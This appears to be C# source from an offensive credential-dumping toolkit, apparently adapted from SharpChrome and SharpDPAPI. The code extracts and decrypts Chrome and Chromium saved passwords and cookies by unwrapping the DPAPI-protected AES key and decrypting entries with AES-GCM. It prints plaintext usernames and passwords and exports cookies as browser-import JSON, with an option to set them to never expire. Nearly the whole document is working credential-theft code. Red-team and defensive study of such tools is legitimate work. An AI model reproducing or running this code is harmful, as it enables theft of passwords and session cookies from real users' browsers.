public ChromiumCredentialManager(string basePath, string[] domains = null) { if (Environment.GetEnvironmentVariable("USERNAME").Contains("SYSTEM")) { throw new Exception("Cannot decrypt Chromium credentials from a SYSTEM level context."); } if (domains != null && domains.Length > 0) { filterDomains = domains; } string localAppData = Environment.GetEnvironmentVariable("LOCALAPPDATA"); hKey = null; hAlg = null; chromiumBasePath = basePath; userChromiumHistoryPath = chromiumBasePath + "\\Default\\History"; userChromiumBookmarksPath = chromiumBasePath + "\\Default\\Bookmarks"; userChromiumCookiesPath = chromiumBasePath + "\\Default\\Cookies"; userChromiumLoginDataPath = chromiumBasePath + "\\Default\\Login Data"; userLocalStatePath = chromiumBasePath + "Local State"; if (!Chromium()) { throw new Exception("User chromium data files not present."); } useTmpFile = true; //Process[] chromeProcesses = Process.GetProcessesByName("chrome"); //if (chromeProcesses.Length > 0) //{ // useTmpFile = true; //} string key = GetBase64EncryptedKey(); if (key != "") { //Console.WriteLine("Normal DPAPI Decryption"); aesKey = DecryptBase64StateKey(key); if (aesKey == null) { throw new Exception("Failed to decrypt AES Key."); } DPAPIChromiumAlgFromKeyRaw(aesKey, out hAlg, out hKey); if (hAlg == null || hKey == null) { throw new Exception("Failed to create BCrypt Symmetric Key."); } } }
public ChromeCredentialManager(string[] domains = null) { if (Environment.GetEnvironmentVariable("USERNAME").Contains("SYSTEM")) { throw new Exception("Cannot decrypt Chrome credentials from a SYSTEM level context."); } if (domains != null && domains.Length > 0) { filterDomains = domains; } string localAppData = Environment.GetEnvironmentVariable("LOCALAPPDATA"); hKey = null; hAlg = null; googleChromePath = Path.Combine(localAppData, "Google\\Chrome\\User Data\\Default\\"); userChromeHistoryPath = Path.Combine(googleChromePath, "History"); userChromeBookmarkPath = Path.Combine(googleChromePath, "Bookmarks"); userChromeCookiesPath = Path.Combine(googleChromePath, "Cookies"); userChromeLoginDataPath = Path.Combine(googleChromePath, "Login Data"); userLocalStatePath = Path.Combine(googleChromePath, "Local State"); if (!ChromeDataExists()) { throw new Exception("User chrome data files not present."); } Process[] chromeProcesses = Process.GetProcessesByName("chrome"); if (chromeProcesses.Length > 0) { useTmpFile = true; } string key = GetBase64EncryptedKey(); if (key != "") { //Console.WriteLine("Normal DPAPI Decryption"); aesKey = DecryptBase64StateKey(key); if (aesKey == null) { throw new Exception("Failed to decrypt AES Key."); } DPAPIChromeAlgKeyFromRaw(aesKey, out hAlg, out hKey); if (hAlg == null || hKey == null) { throw new Exception("Failed to create BCrypt Symmetric Key."); } } }
//kuhl_m_dpapi_chrome_alg_key_from_raw public static bool DPAPIChromeAlgKeyFromRaw(byte[] key, out PInvoke.BCrypt.SafeAlgorithmHandle hAlg, out PInvoke.BCrypt.SafeKeyHandle hKey) { bool bRet = false; hAlg = null; hKey = null; PInvoke.NTSTATUS ntStatus; ntStatus = PInvoke.BCrypt.BCryptOpenAlgorithmProvider(out hAlg, PInvoke.BCrypt.AlgorithmIdentifiers.BCRYPT_AES_ALGORITHM, null, 0); if (NT_SUCCESS(ntStatus)) { ntStatus = PInvoke.BCrypt.BCryptSetProperty(hAlg, "ChainingMode", PInvoke.BCrypt.ChainingModes.Gcm, 0); if (NT_SUCCESS(ntStatus)) { ntStatus = PInvoke.BCrypt.BCryptGenerateSymmetricKey(hAlg, out hKey, null, 0, key, key.Length, 0); if (NT_SUCCESS(ntStatus)) { bRet = true; } } } return(bRet); }
//kuhl_m_dpapi_chrome_alg_key_from_raw public static bool DPAPIChromiumAlgFromKeyRaw(byte[] key, out BCrypt.SafeAlgorithmHandle hAlg, out BCrypt.SafeKeyHandle hKey) { bool bRet = false; hAlg = null; hKey = null; uint ntStatus; ntStatus = BCrypt.BCryptOpenAlgorithmProvider(out hAlg, "AES", null, 0); if (NT_SUCCESS(ntStatus)) { ntStatus = BCrypt.BCryptSetProperty(hAlg, "ChainingMode", "ChainingModeGCM", 0); if (NT_SUCCESS(ntStatus)) { ntStatus = BCrypt.BCryptGenerateSymmetricKey(hAlg, out hKey, null, 0, key, key.Length, 0); if (NT_SUCCESS(ntStatus)) { bRet = true; } } } return(bRet); }
// adapted from https://github.com/djhohnstein/SharpChrome/blob/e287334c0592abb02bf4f45ada23fecaa0052d48/ChromeCredentialManager.cs#L136-L197 // god bless you Dwight for figuring this out lol public static byte[] DecryptAESChromeBlob(byte[] dwData, BCrypt.SafeAlgorithmHandle hAlg, BCrypt.SafeKeyHandle hKey) { // magic decryption happens here byte[] dwDataOut = null; BCrypt.BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO info; int dwDataOutLen; IntPtr pData = IntPtr.Zero; uint ntStatus; byte[] subArrayNoV10; int pcbResult = 0; unsafe { if (SharpDPAPI.Helpers.ByteArrayEquals(dwData, 0, DPAPI_CHROME_UNKV10, 0, 3)) { subArrayNoV10 = new byte[dwData.Length - DPAPI_CHROME_UNKV10.Length]; Array.Copy(dwData, 3, subArrayNoV10, 0, dwData.Length - DPAPI_CHROME_UNKV10.Length); pData = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(byte)) * dwData.Length); try { Marshal.Copy(dwData, 0, pData, dwData.Length); BCrypt.BCRYPT_INIT_AUTH_MODE_INFO(out info); info.pbNonce = (byte *)(new IntPtr(pData.ToInt64() + DPAPI_CHROME_UNKV10.Length)); info.cbNonce = 12; info.pbTag = info.pbNonce + dwData.Length - (DPAPI_CHROME_UNKV10.Length + AES_BLOCK_SIZE); // AES_BLOCK_SIZE = 16 info.cbTag = AES_BLOCK_SIZE; // AES_BLOCK_SIZE = 16 dwDataOutLen = dwData.Length - DPAPI_CHROME_UNKV10.Length - info.cbNonce - info.cbTag; dwDataOut = new byte[dwDataOutLen]; fixed(byte *pDataOut = dwDataOut) { ntStatus = BCrypt.BCryptDecrypt(hKey, info.pbNonce + info.cbNonce, dwDataOutLen, (void *)&info, null, 0, pDataOut, dwDataOutLen, out pcbResult, 0); } if (ntStatus != 0) { Console.WriteLine("[X] Error : {0}", ntStatus); } } catch (Exception ex) { Console.WriteLine("Exception : {0}", ex.Message); } finally { if (pData != null && pData != IntPtr.Zero) { Marshal.FreeHGlobal(pData); } } } else { Console.WriteLine("[X] Data header not equal to DPAPI_CHROME_UNKV10"); } } return(dwDataOut); }
public static void ParseChromeCookies(Dictionary <string, string> MasterKeys, string cookieFilePath, string displayFormat = "table", bool showAll = false, bool unprotect = false, string cookieRegex = "", string urlRegex = "", bool setneverexpire = false, byte[] aesStateKey = null) { // takes an individual Cookies file path and performs decryption/triage on it if (!File.Exists(cookieFilePath)) { return; } BCrypt.SafeAlgorithmHandle hAlg = null; BCrypt.SafeKeyHandle hKey = null; if (aesStateKey != null) { // initialize the BCrypt key using the new DPAPI decryption method DPAPIChromeAlgKeyFromRaw(aesStateKey, out hAlg, out hKey); } // convert to a file:/// uri path type so we can do lockless opening // ref - https://github.com/gentilkiwi/mimikatz/pull/199 var uri = new System.Uri(cookieFilePath); string cookieFilePathUri = String.Format("{0}?nolock=1", uri.AbsoluteUri); bool someResults = false; SQLiteConnection database = null; if (!displayFormat.Equals("table") && !displayFormat.Equals("csv") && !displayFormat.Equals("json")) { Console.WriteLine("\r\n[X] Invalid format: {0}", displayFormat); return; } try { database = new SQLiteConnection(cookieFilePathUri, SQLiteOpenFlags.ReadOnly | SQLiteOpenFlags.OpenUri, false); } catch (Exception e) { Console.WriteLine("[X] {0}", e.InnerException.Message); return; } // old - fails in some cases due to partial indexing :( //string query = "SELECT cast(creation_utc as text) as creation_utc, host_key, name, path, cast(expires_utc as text) as expires_utc, is_secure, is_httponly, cast(last_access_utc as text) as last_access_utc, encrypted_value FROM cookies"; // new, seems to work with partial indexing?? "/giphy table flip" string query = "SELECT cast(creation_utc as text) as creation_utc, host_key, name, path, cast(expires_utc as text) as expires_utc, cast(last_access_utc as text) as last_access_utc, encrypted_value FROM cookies"; List <SQLiteQueryRow> results = database.Query2(query, false); int id = 1; // used if cookies "never expire" for json output DateTime epoch = new DateTime(1601, 1, 1); TimeSpan timespan = (DateTime.Now).AddYears(100) - epoch; long longExpiration = (long)Math.Abs(timespan.TotalSeconds * 1000000); foreach (SQLiteQueryRow row in results) { try { byte[] decBytes = null; // decrypt the encrypted cookie value with whatever data/method is specified byte[] valueBytes = (byte[])row.column[6].Value; if (HasV10Header(valueBytes)) { if (aesStateKey != null) { // using the new DPAPI decryption method decBytes = DecryptAESChromeBlob(valueBytes, hAlg, hKey); if (decBytes == null) { continue; } } else { decBytes = Encoding.ASCII.GetBytes(String.Format("AES State Key Needed")); } } else { // using the old method decBytes = SharpDPAPI.Dpapi.DescribeDPAPIBlob(valueBytes, MasterKeys, "chrome", unprotect); } string value = Encoding.ASCII.GetString(decBytes); DateTime dateCreated = SharpDPAPI.Helpers.ConvertToDateTime(row.column[0].Value.ToString()); DateTime expires = SharpDPAPI.Helpers.ConvertToDateTime(row.column[4].Value.ToString()); DateTime lastAccess = SharpDPAPI.Helpers.ConvertToDateTime(row.column[5].Value.ToString()); // check conditions that will determine whether we're displaying this cookie entry bool displayValue = false; if (showAll || (row.column[4].Value.ToString() == "0") || String.IsNullOrEmpty(row.column[4].Value.ToString())) { displayValue = true; } else if (!String.IsNullOrEmpty(cookieRegex)) { Match match = Regex.Match(row.column[2].Value.ToString(), cookieRegex, RegexOptions.IgnoreCase); if (match.Success) { displayValue = true; } } else if (!String.IsNullOrEmpty(urlRegex)) { Match match = Regex.Match(row.column[1].Value.ToString(), urlRegex, RegexOptions.IgnoreCase); if (match.Success) { displayValue = true; } } else if (expires > DateTime.UtcNow) { displayValue = true; } if (displayValue) { if (displayFormat.Equals("table")) { if (!someResults) { Console.WriteLine("--- Cookies (Path: {0}) ---\r\n", cookieFilePath); } someResults = true; Console.WriteLine("Host (path) : {0} ({1})", row.column[1].Value, row.column[3].Value); Console.WriteLine("Cookie Name : {0}", row.column[2].Value); Console.WriteLine("Cookie Value : {0}", value); Console.WriteLine("Created/Expires/LastAccess : {0} / {1} / {2}\r\n", dateCreated, expires, lastAccess); } else if (displayFormat.Equals("json")) { if (!someResults) { Console.WriteLine("--- Cookies (Path: {0}) ---\r\n", cookieFilePath); Console.WriteLine("--- Cookies (Path: {0}) ---\r\n\r\nEditThisCookie import JSON:\r\n\r\n[\r\n{{\r\n", cookieFilePath); } else { Console.WriteLine("},\r\n{\r\n"); } someResults = true; Console.WriteLine(" \"domain\": \"{0}\",", SharpDPAPI.Helpers.CleanForJSON(String.Format("{0}", row.column[1].Value))); if (setneverexpire) { Console.WriteLine(" \"expirationDate\": {0},", longExpiration); } else { Console.WriteLine(" \"expirationDate\": {0},", row.column[4].Value.ToString()); } Console.WriteLine(" \"hostOnly\": false,"); Console.WriteLine(" \"httpOnly\": false,"); Console.WriteLine(" \"name\": \"{0}\",", SharpDPAPI.Helpers.CleanForJSON(String.Format("{0}", row.column[2].Value))); Console.WriteLine(" \"path\": \"{0}\",", String.Format("{0}", row.column[3].Value)); Console.WriteLine(" \"sameSite\": \"no_restriction\","); Console.WriteLine(" \"secure\": false,"); Console.WriteLine(" \"session\": false,"); Console.WriteLine(" \"storeId\": \"0\","); Console.WriteLine(" \"value\": \"{0}\",", SharpDPAPI.Helpers.CleanForJSON(value)); Console.WriteLine(" \"id\": \"{0}\"", id); id++; } else { // csv output if (!someResults) { Console.WriteLine("--- Cookies (Path: {0}) ---\r\n", cookieFilePath); Console.WriteLine("file_path,host,path,name,value,creation_utc,expires_utc,last_access_utc"); } someResults = true; Console.WriteLine("{0},{1},{2},{3},{4},{5},{6},{7}", SharpDPAPI.Helpers.StringToCSVCell(cookieFilePath), SharpDPAPI.Helpers.StringToCSVCell(String.Format("{0}", row.column[1].Value)), SharpDPAPI.Helpers.StringToCSVCell(String.Format("{0}", row.column[3].Value)), SharpDPAPI.Helpers.StringToCSVCell(String.Format("{0}", row.column[2].Value)), SharpDPAPI.Helpers.StringToCSVCell(value), SharpDPAPI.Helpers.StringToCSVCell(dateCreated.ToString()), SharpDPAPI.Helpers.StringToCSVCell(expires.ToString()), SharpDPAPI.Helpers.StringToCSVCell(lastAccess.ToString())); } } } catch {} } if (displayFormat.Equals("json") && someResults) { Console.WriteLine("}\r\n]\r\n"); } database.Close(); }
public static void ParseChromeLogins(Dictionary <string, string> MasterKeys, string loginDataFilePath, string displayFormat = "table", bool showAll = false, bool unprotect = false, byte[] aesStateKey = null) { // takes an individual 'Login Data' file path and performs decryption/triage on it if (!File.Exists(loginDataFilePath)) { return; } BCrypt.SafeAlgorithmHandle hAlg = null; BCrypt.SafeKeyHandle hKey = null; if (aesStateKey != null) { // initialize the BCrypt key using the new DPAPI decryption method DPAPIChromeAlgKeyFromRaw(aesStateKey, out hAlg, out hKey); } // convert to a file:/// uri path type so we can do lockless opening // ref - https://github.com/gentilkiwi/mimikatz/pull/199 var uri = new System.Uri(loginDataFilePath); string loginDataFilePathUri = String.Format("{0}?nolock=1", uri.AbsoluteUri); bool someResults = false; SQLiteConnection database = null; try { database = new SQLiteConnection(loginDataFilePathUri, SQLiteOpenFlags.ReadOnly | SQLiteOpenFlags.OpenUri, false); } catch (Exception e) { Console.WriteLine("[X] {0}", e.InnerException.Message); return; } if (!displayFormat.Equals("table") && !displayFormat.Equals("csv")) { Console.WriteLine("\r\n[X] Invalid format: {0}", displayFormat); return; } string query = "SELECT signon_realm, origin_url, username_value, password_value, times_used, cast(date_created as text) as date_created FROM logins"; List <SQLiteQueryRow> results = database.Query2(query, false); foreach (SQLiteQueryRow row in results) { byte[] passwordBytes = (byte[])row.column[3].Value; byte[] decBytes = null; // decrypt the password bytes using masterkeys or CryptUnprotectData() if (HasV10Header(passwordBytes)) { if (aesStateKey != null) { // using the new DPAPI decryption method decBytes = DecryptAESChromeBlob(passwordBytes, hAlg, hKey); if (decBytes == null) { continue; } } else { decBytes = Encoding.ASCII.GetBytes(String.Format("--AES STATE KEY NEEDED--")); } } else { // using the old method decBytes = SharpDPAPI.Dpapi.DescribeDPAPIBlob(passwordBytes, MasterKeys, "chrome", unprotect); } string password = Encoding.ASCII.GetString(decBytes); DateTime dateCreated = SharpDPAPI.Helpers.ConvertToDateTime(row.column[5].Value.ToString()); if ((password != String.Empty) || showAll) { if (displayFormat.Equals("table")) { if (!someResults) { Console.WriteLine("\r\n--- Credential (Path: {0}) ---\r\n", loginDataFilePath); } someResults = true; Console.WriteLine("URL : {0} ({1})", row.column[0].Value, row.column[1].Value); Console.WriteLine("Created : {0}", dateCreated); Console.WriteLine("TimesUsed : {0}", row.column[4].Value); Console.WriteLine("Username : {0}", row.column[2].Value); Console.WriteLine("Password : {0}", password); Console.WriteLine(); } else { if (!someResults) { Console.WriteLine("\r\n--- Credential (Path: {0}) ---\r\n", loginDataFilePath); Console.WriteLine("file_path,signon_realm,origin_url,date_created,times_used,username,password"); } someResults = true; Console.WriteLine("{0},{1},{2},{3},{4},{5},{6}", SharpDPAPI.Helpers.StringToCSVCell(loginDataFilePath), SharpDPAPI.Helpers.StringToCSVCell(String.Format("{0}", row.column[0].Value)), SharpDPAPI.Helpers.StringToCSVCell(String.Format("{0}", row.column[1].Value)), SharpDPAPI.Helpers.StringToCSVCell(dateCreated.ToString()), SharpDPAPI.Helpers.StringToCSVCell(String.Format("{0}", row.column[5].Value)), SharpDPAPI.Helpers.StringToCSVCell(String.Format("{0}", row.column[2].Value)), SharpDPAPI.Helpers.StringToCSVCell(password)); } } } database.Close(); }